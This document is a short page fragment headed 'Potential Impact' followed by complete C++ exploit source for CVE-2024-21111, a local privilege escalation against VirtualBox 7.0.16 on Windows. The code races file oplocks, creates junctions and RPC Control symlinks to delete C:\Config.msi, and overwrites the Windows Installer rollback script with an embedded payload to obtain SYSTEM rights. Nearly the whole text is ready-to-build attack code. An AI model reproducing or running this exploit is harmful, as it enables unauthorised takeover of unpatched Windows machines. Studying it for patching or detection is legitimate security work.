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Potential Impact

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• exploit-code: # Exploit Title: VirtualBox 7.0.16 - Privilege Escalation # Date: 2025-05-06 # Exploit Author: Milad Karimi (Ex3ptionaL) # Contact: miladgrayhat@gmail.com # Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL # Tested on: Win x64 # CVE : CVE-2024-21111 #include <Windows.h> #include <Shlwapi.h> #include <WtsApi32.h> #include <Msi.h> #include <PathCch.h> #include <AclAPI.h> #include <iostream> #include "resource.h" #include "def.h" #include "FileOplock.h" #pragma comment(lib, "Msi.lib") #pragma comment(lib, "Shlwapi.lib") #pragma comment(lib, "wtsapi32") #pragma comment(lib, "PathCch.lib") #pragma comment(lib, "rpcrt4.lib") #pragma warning(disable:4996) struct __declspec(uuid("74AB5FFE-8726-4435-AA7E-876D705BCBA5")) CLSID_VBoxSDS; FileOpLock* oplock; HANDLE hFile, vb11, h; HANDLE hthread; NTSTATUS retcode; HMODULE hm = GetModuleHandle(NULL); HRSRC res = FindResource(hm, MAKEINTRESOURCE(IDR_RBS1), L"rbs"); DWORD RbsSize = SizeofResource(hm, res); void* RbsBuff = LoadResource(hm, res); WCHAR dir[MAX_PATH] = { 0x0 }; wchar_t filen[MAX_PATH] = { 0x0 }; DWORD WINAPI install(void*); BOOL Move(HANDLE hFile); void callback(); HANDLE getDirectoryHandle(LPWSTR file, DWORD access, DWORD share, DWORD dispostion); LPWSTR BuildPath(LPCWSTR path); void loadapis(); VOID cb1(); VOID cb0(); BOOL Monitor(HANDLE hDir); BOOL clearDataDir(); BOOL CreateJunction(LPCWSTR dir, LPCWSTR target) { HANDLE hJunction; DWORD cb; wchar_t printname[] = L""; HANDLE hDir; hDir = CreateFile(dir, FILE_WRITE_ATTRIBUTES, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL); if (hDir == INVALID_HANDLE_VALUE) { printf("[!] Failed to obtain handle on directory %ls.\n", dir); return FALSE; } SIZE_T TargetLen = wcslen(target) * sizeof(WCHAR); SIZE_T PrintnameLen = wcslen(printname) * sizeof(WCHAR); SIZE_T PathLen = TargetLen + PrintnameLen + 12; SIZE_T Totalsize = PathLen + (DWORD)(FIELD_OFFSET(REPARSE_DATA_BUFFER, GenericReparseBuffer.DataBuffer)); PREPARSE_DATA_BUFFER Data = (PREPARSE_DATA_BUFFER)malloc(Totalsize); Data->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT; Data->ReparseDataLength = PathLen; Data->Reserved = 0; Data->MountPointReparseBuffer.SubstituteNameOffset = 0; Data->MountPointReparseBuffer.SubstituteNameLength = TargetLen; memcpy(Data->MountPointReparseBuffer.PathBuffer, target, TargetLen + 2); Data->MountPointReparseBuffer.PrintNameOffset = (USHORT)(TargetLen + 2); Data->MountPointReparseBuffer.PrintNameLength = (USHORT)PrintnameLen; memcpy(Data->MountPointReparseBuffer.PathBuffer + wcslen(target) + 1, printname, PrintnameLen + 2); if (DeviceIoControl(hDir, FSCTL_SET_REPARSE_POINT, Data, Totalsize, NULL, 0, &cb, NULL) != 0) { printf("[+] Junction %ls -> %ls created!\n", dir, target); free(Data); return TRUE; } else { printf("[!] Error: %d. Exiting\n", GetLastError()); free(Data); return FALSE; } } BOOL DeleteJunction(LPCWSTR path) { REPARSE_GUID_DATA_BUFFER buffer = { 0 }; BOOL ret; buffer.ReparseTag = IO_REPARSE_TAG_MOUNT_POINT; DWORD cb = 0; IO_STATUS_BLOCK io; HANDLE hDir; hDir = CreateFile(path, FILE_WRITE_ATTRIBUTES, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS | FILE_OPEN_REPARSE_POINT, NULL); if (hDir == INVALID_HANDLE_VALUE) { printf("[!] Failed to obtain handle on directory %ls.\n", path); printf("%d\n", GetLastError()); return FALSE; } ret = DeviceIoControl(hDir, FSCTL_DELETE_REPARSE_POINT, &buffer, REPARSE_GUID_DATA_BUFFER_HEADER_SIZE, NULL, NULL, &cb, NULL); if (ret == 0) { printf("Error: %d\n", GetLastError()); return FALSE; } else { printf("[+] Junction %ls delete!\n", dir); return TRUE; } } BOOL DosDeviceSymLink(LPCWSTR object, LPCWSTR target) { if (DefineDosDevice(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH, object, target)) { printf("[+] Symlink %ls -> %ls created!\n", object, target); return TRUE; } else { printf("error :%d\n", GetLastError()); return FALSE; } } BOOL DelDosDeviceSymLink(LPCWSTR object, LPCWSTR target) { if (DefineDosDevice(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH | DDD_REMOVE_DEFINITION | DDD_EXACT_MATCH_ON_REMOVE, object, target)) { printf("[+] Symlink %ls -> %ls deleted!\n", object, target); return TRUE; } else { printf("error :%d\n", GetLastError()); return FALSE; } } void runSDS(int delay) { if (delay == 1) { printf("[!] sleeping for 2 sec\n"); Sleep(2000); } CoInitialize(NULL); LPVOID ppv; // 1st trigger to create VBoxSDS.log dir CoCreateInstance(__uuidof(CLSID_VBoxSDS), 0, CLSCTX_LOCAL_SERVER, IID_IUnknown, &ppv); CoUninitialize(); } BOOL checkSDSLog() { BOOL clear = FALSE; std::wstring vboxDataDir = L"C:\\ProgramData\\VirtualBox\\VBoxSDS.log.*"; HANDLE hFind; WIN32_FIND_DATA data; hFind = FindFirstFile(LPCWSTR(vboxDataDir.c_str()), &data); // iterate first VBoxSDS.log FindNextFile(hFind, &data); if (hFind != INVALID_HANDLE_VALUE) { do { if (wcswcs(data.cFileName, L"VBoxSDS.log.")) { runSDS(0); //wprintf(L"%s\n", data.cFileName); } else { printf("[+] Logs have been cleared!\n"); clear = TRUE; } //wprintf(L"%s\n", data.cFileName); } while (FindNextFile(hFind, &data)); FindClose(hFind); } //printf("CLEAR: %d\n", clear); return clear; } BOOL enumProc(const wchar_t* procName) { PWTS_PROCESS_INFO processes{}; BOOL ok = FALSE; DWORD count; if (WTSEnumerateProcesses(WTS_CURRENT_SERVER_HANDLE, NULL, 1, &processes, &count)) { for (DWORD i = 0; i < count; i++) { if (wcswcs(processes[i].pProcessName, procName)) { wprintf(L"[!] Process active: %s with PID %d\n", processes[i].pProcessName, processes[i].ProcessId); ok = TRUE; break; } } } else { printf("err: %d\n", GetLastError()); } WTSFreeMemory(processes); return ok; } void checkIfExists() { if (enumProc(L"VirtualBoxVM.exe")) { printf("[!] You seem to have active VMs running, please stop them before running this to prevent corruption of any saved data of the VMs.\n"); exit(1); } if (enumProc(L"VirtualBox.exe")) { printf("[!] VirtualBox process active\n"); // message printf("[!] Trying to exit virtualbox by postmessage close window\n"); PostMessage(FindWindow(NULL, TEXT("Oracle VM VirtualBox Manager")), WM_CLOSE, NULL, NULL); printf("[!] Letting VBoxSDS exit (wait 12 seconds)\n\n"); Sleep(12000); if (enumProc(L"VBoxSDS.exe")) { printf("[-] error stopping vboxsds\n"); exit(1); } else { printf("[+] Success stopping vboxsds!\n"); } } } BOOL clearDataDir() { do { vb11 = CreateFile(L"C:\\ProgramData\\VirtualBox\\VBoxSDS.log.11", DELETE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_FLAG_OVERLAPPED, NULL); printf("h: %x %d\n", vb11, GetLastError()); } while (vb11 == INVALID_HANDLE_VALUE); oplock = FileOpLock::CreateLock(vb11, cb1); if (oplock != NULL) { HANDLE c = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)runSDS, NULL, 0, NULL); oplock->WaitForLock(INFINITE); CloseHandle(c); } BOOL isEmpty = FALSE; do { isEmpty = checkSDSLog(); } while (isEmpty == FALSE); if (!RemoveDirectory(L"C:\\ProgramData\\VirtualBox\\VBoxSDS.log")) { printf("error removing vboxlog dir\n"); exit(1); } return isEmpty; } int wmain() { loadapis(); checkIfExists(); clearDataDir(); hFile = getDirectoryHandle(BuildPath(L"C:\\Config.msi"), GENERIC_READ | DELETE, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN_IF); if (hFile == INVALID_HANDLE_VALUE) { printf("[!] Failed to create C:\\Config.msi directory. Trying to delete it.\n"); install(NULL); hFile = getDirectoryHandle(BuildPath(L"C:\\Config.msi"), GENERIC_READ | DELETE, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN_IF); if (hFile != INVALID_HANDLE_VALUE) { printf("[+] Successfully removed and recreated C:\\Config.Msi.\n"); } else { printf("[!] Failed. Cannot remove c:\\Config.msi"); //return 1; } } if (!PathIsDirectoryEmpty(L"C:\\Config.Msi")) { printf("[!] Failed. C:\\Config.Msi already exists and is not empty.\n"); //return 1; } printf("[+] Config.msi directory created!\n"); HANDLE hDir = getDirectoryHandle(BuildPath(L"C:\\ProgramData\\VirtualBox"), GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN_IF); printf("hDir: %x\n", hDir); //Monitor(hDir); HANDLE zxc{}; zxc = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Monitor, hDir, 0, NULL); SetPriorityClass(GetCurrentProcess(), HIGH_PRIORITY_CLASS); SetThreadPriorityBoost(GetCurrentThread(), TRUE); // This lets us maintain express control of our priority SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL); oplock = FileOpLock::CreateLock(hFile, callback); if (oplock != nullptr) { oplock->WaitForLock(INFINITE); delete oplock; } do { hFile = getDirectoryHandle(BuildPath(L"C:\\Config.msi"), GENERIC_READ | WRITE_DAC | READ_CONTROL | DELETE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN_IF); } while (!hFile); char buff[4096]; DWORD retbt = 0; FILE_NOTIFY_INFORMATION* fn; WCHAR* extension; WCHAR* extension2; do { ReadDirectoryChangesW(hFile, buff, sizeof(buff) - sizeof(WCHAR), TRUE, FILE_NOTIFY_CHANGE_FILE_NAME, &retbt, NULL, NULL); fn = (FILE_NOTIFY_INFORMATION*)buff; size_t sz = fn->FileNameLength / sizeof(WCHAR); fn->FileName[sz] = '\0'; extension = fn->FileName; PathCchFindExtension(extension, MAX_PATH, &extension2); } while (wcscmp(extension2, L".rbs") != 0); SetSecurityInfo(hFile, SE_FILE_OBJECT, UNPROTECTED_DACL_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION, NULL, NULL, NULL, NULL); while (!Move(hFile)) { } HANDLE cfg_h = getDirectoryHandle(BuildPath(L"C:\\Config.msi"), FILE_READ_DATA, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_CREATE); WCHAR rbsfile[MAX_PATH]; _swprintf(rbsfile, L"C:\\Config.msi\\%s", fn->FileName); HANDLE rbs = CreateFile(rbsfile, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (WriteFile(rbs, RbsBuff, RbsSize, NULL, NULL)) { printf("[+] Rollback script overwritten!\n"); } else { printf("[!] Failed to overwrite rbs file!\n"); } CloseHandle(rbs); CloseHandle(cfg_h); DeleteJunction(dir); CloseHandle(zxc); WCHAR asdfasdf[MAX_PATH]; _swprintf(asdfasdf, L"GLOBAL\\GLOBALROOT\\RPC Control\\%s", filen); DelDosDeviceSymLink(asdfasdf, L"\\??\\C:\\Config.msi::$INDEX_ALLOCATION"); return 0; } DWORD WINAPI install(void*) { HMODULE hm = GetModuleHandle(NULL); HRSRC res = FindResource(hm, MAKEINTRESOURCE(IDR_MSI1), L"msi"); wchar_t msipackage[MAX_PATH] = { 0x0 }; GetTempFileName(L"C:\\windows\\temp\\", L"MSI", 0, msipackage); printf("[*] MSI file: %ls\n", msipackage); DWORD MsiSize = SizeofResource(hm, res); void* MsiBuff = LoadResource(hm, res); HANDLE pkg = CreateFile(msipackage, GENERIC_WRITE | WRITE_DAC, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); WriteFile(pkg, MsiBuff, MsiSize, NULL, NULL); CloseHandle(pkg); MsiSetInternalUI(INSTALLUILEVEL_NONE, NULL); UINT a = MsiInstallProduct(msipackage, L"ACTION=INSTALL"); printf("%d\n", a); MsiInstallProduct(msipackage, L"REMOVE=ALL"); DeleteFile(msipackage); return 0; } BOOL Move(HANDLE hFile) { if (hFile == INVALID_HANDLE_VALUE) { printf("[!] Invalid handle!\n"); return FALSE; } wchar_t tmpfile[MAX_PATH] = { 0x0 }; RPC_WSTR str_uuid; UUID uuid = { 0 }; UuidCreate(&uuid); UuidToString(&uuid, &str_uuid); _swprintf(tmpfile, L"\\??\\C:\\windows\\temp\\%s", str_uuid); size_t buffer_sz = sizeof(FILE_RENAME_INFO) + (wcslen(tmpfile) * sizeof(wchar_t)); FILE_RENAME_INFO* rename_info = (FILE_RENAME_INFO*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY | HEAP_GENERATE_EXCEPTIONS, buffer_sz); IO_STATUS_BLOCK io = { 0 }; rename_info->ReplaceIfExists = TRUE; rename_info->RootDirectory = NULL; rename_info->Flags = 0x00000001 | 0x00000002 | 0x00000040; rename_info->FileNameLength = wcslen(tmpfile) * sizeof(wchar_t); memcpy(&rename_info->FileName[0], tmpfile, wcslen(tmpfile) * sizeof(wchar_t)); NTSTATUS status = pNtSetInformationFile(hFile, &io, rename_info, buffer_sz, 65); if (status != 0) { return FALSE; } return TRUE; } void callback() { SetThreadPriority(GetCurrentThread(), REALTIME_PRIORITY_CLASS); Move(hFile); hthread = CreateThread(NULL, NULL, install, NULL, NULL, NULL); HANDLE hd; do { hd = getDirectoryHandle(BuildPath(L"C:\\Config.msi"), GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN); } while (!hd); do { CloseHandle(hd); hd = getDirectoryHandle(BuildPath(L"C:\\Config.msi"), GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN); } while (hd); CloseHandle(hd); do { hd = getDirectoryHandle(BuildPath(L"C:\\Config.msi"), GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN); CloseHandle(hd); } while (retcode != 0xC0000022); } HANDLE getDirectoryHandle(LPWSTR file, DWORD access, DWORD share, DWORD dispostion) { UNICODE_STRING ufile; HANDLE hDir; pRtlInitUnicodeString(&ufile, file); OBJECT_ATTRIBUTES oa = { 0 }; IO_STATUS_BLOCK io = { 0 }; InitializeObjectAttributes(&oa, &ufile, OBJ_CASE_INSENSITIVE, NULL, NULL); retcode = pNtCreateFile(&hDir, access, &oa, &io, NULL, FILE_ATTRIBUTE_NORMAL, share, dispostion, FILE_DIRECTORY_FILE | FILE_OPEN_REPARSE_POINT, NULL, NULL); if (!NT_SUCCESS(retcode)) { return NULL; } return hDir; } LPWSTR BuildPath(LPCWSTR path) { wchar_t ntpath[MAX_PATH]; swprintf(ntpath, L"\\??\\%s", path); return ntpath; } void loadapis() { HMODULE ntdll = GetModuleHandle(L"ntdll.dll"); if (ntdll != NULL) { pRtlInitUnicodeString = (_RtlInitUnicodeString)GetProcAddress(ntdll, "RtlInitUnicodeString"); pNtCreateFile = (_NtCreateFile)GetProcAddress(ntdll, "NtCreateFile"); pNtSetInformationFile = (_NtSetInformationFile)GetProcAddress(ntdll, "NtSetInformationFile"); } if (pRtlInitUnicodeString == NULL || pNtCreateFile == NULL) { printf("Cannot load api's %d\n", GetLastError()); exit(0); } } void cb0() { if (!Move(h)) { printf("reached3\n"); exit(1); } printf("reached2\n"); _swprintf(dir, L"C:\\ProgramData\\VirtualBox"); if (!CreateJunction(BuildPath(dir), L"\\RPC Control")) { printf("[!] Exiting!\n"); exit(1); } WCHAR asdfasdf[MAX_PATH]; _swprintf(asdfasdf, L"GLOBAL\\GLOBALROOT\\RPC Control\\%s", filen); if (!DosDeviceSymLink(asdfasdf, L"\\??\\C:\\Config.msi::$INDEX_ALLOCATION")) { printf("zxc\n"); //printf("[!] Exiting!\n"); //exit(1); } } void cb1() { printf("[!] oplock triggered\n"); if (!Move(vb11)) { printf("reached3\n"); exit(1); } if (!CreateDirectory(L"C:\\ProgramData\\VirtualBox\\VBoxSDS.log", NULL)) { printf("Error creating dir. Exiting\n"); exit(1); } return; } BOOL Monitor(HANDLE hDir) { printf("[!] Monitor called\n"); BOOL deleted = FALSE; _swprintf(filen, L"VBoxSDS.log.11"); do { do { h = CreateFile(L"C:\\ProgramData\\VirtualBox\\VBoxSDS.log.11", DELETE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_FLAG_OVERLAPPED, NULL); printf("h: %x\n", h); } while (h == INVALID_HANDLE_VALUE); oplock = FileOpLock::CreateLock(h, cb0); if (oplock != NULL) { HANDLE c = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)runSDS, (LPVOID)1, 0, NULL); oplock->WaitForLock(INFINITE); CloseHandle(c); } deleted = TRUE; } while (deleted == FALSE); return deleted; }